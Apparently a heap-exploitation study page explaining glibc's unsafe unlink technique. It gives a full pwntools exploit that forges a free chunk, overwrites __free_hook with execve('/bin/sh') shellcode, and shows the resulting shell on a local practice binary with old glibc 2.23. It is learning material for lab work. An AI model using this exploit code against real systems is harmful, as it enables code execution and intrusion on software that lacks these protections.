Skip to content

Unsafe Unlink

Technique

In the process of consolidating chunks, a chunk that has already been linked to a free list is removed from that list using the unlink macro. This unlinking method involves a reflected write that utilizes the chunk's forward (fd) and backward (bk) pointers.

The unlinking process overwrites the victim bk onto the bk of the chunk indicated by the victim fd, and the victim fd onto the fd of the chunk pointed to by the victim bk.

Note

To display the heap content, you can use dq mp_.sbrk_base as the vis command might not work due to manipulation of fake chunk size.

Warning

The safe unlinking feature was added to GLIBC version 2.3.4 in 2004.

Flags:

  • PREV_INUSE: 1 if the previous chunk is in use, 0 if freed
  • IS_MMAPPED: 1 if the chunk was allocated via mmap(), otherwise 0
  • NON_MAIN_ARENA: 1 if the chunk does not belong to the main arena, otherwise 0

Exploit Script

Create a fake free chunk using an 8-byte overflow and manipulate the unlinking process to replace the __free_hook address with the shellcode address.

#!/usr/bin/env python3
from pwn import *


def malloc(size):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size: ", str(size).encode())

def edit(idx, data):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendafter(b"data: ", data)

def free(idx):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"index: ", str(idx).encode())

def read_leak():
    io.recvuntil(b"puts() @ ")
    puts_addr = int(io.recvline().strip(), 16)
    io.recvuntil(b"heap @ ")
    heap_addr = int(io.recvline().strip(), 16)
    return puts_addr, heap_addr

# -----[ CONTEXT ]-----
DEBUG = False 
BINARY = "./unsafe_unlink"
LIBC = "../.glibc/glibc_2.23_unsafe-unlink/libc.so.6"
elf = context.binary = ELF(BINARY, checksec=False)
libc = ELF(LIBC, checksec=False)

context.log_level = "debug" if DEBUG else "info"

# -----[ EXPLOIT ]-----
if DEBUG:
    io = gdb.debug([BINARY], gdbscript="""
    continue
    """)
else:
    io = process([BINARY])

# Read the leak & calculate the addresses
puts, heap = read_leak()
libc.address = puts - libc.sym["puts"]
print(f"puts: {hex(puts)}")
print(f"libc: {hex(libc.address)}")
print(f"heap: {hex(heap)}")

W = 8

# Skip the metadata and jump to the shellcode
shellcode = asm(
    f"jmp $+{3*W};" + \
    "nop;" * 3 * W + shellcraft.execve("/bin/sh")
)

# ---------------------------
CHUNK_SIZE = 0x90
DATA_SIZE = 0x90 - W

malloc(DATA_SIZE)
malloc(DATA_SIZE)

# Write primitive on the unlinking mechanism (removing the chunk from the free list) 
# The fd pointers will be replaced by the bk pointer
fd = p64(libc.sym["__free_hook"] - 3 * W) # bk is at the start of the chunk + 3 * pointer size
bk = p64(heap + 0x20) # shellcode address
prev_size = p64(CHUNK_SIZE)
second_chunk_size = p64(CHUNK_SIZE) # Removing the prev_inuse bit (0x91 & ~0x1 = 0x90)

# We can set our shellcode in the data of the first chunk because NX is disabled
payload = shellcode + (DATA_SIZE - len(fd + bk + prev_size) - len(shellcode)) * b"A"

# Create a fake free chunk by creating fd & bk pointers and prev_size field
# Also, we need to remove the prev_inuse bit from the second chunk metadata
edit(0, fd + bk + payload + prev_size + second_chunk_size)
free(1) # Trigger the unlink because the first chunk is a fake free chunk and the second chunk is freed

input("Press Enter to continue...")
free(0) # Trigger the __free_hook call to our shellcode

io.interactive()

Execution

$ python3 xpl_unsafe_unlink.py
[+] Starting local process './unsafe_unlink': pid 20483
puts: 0x7e5fb5c675a0
libc: 0x7e5fb5c00000
heap: 0x608f6fd23000
Press Enter to continue...
[*] Switching to interactive mode
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)

References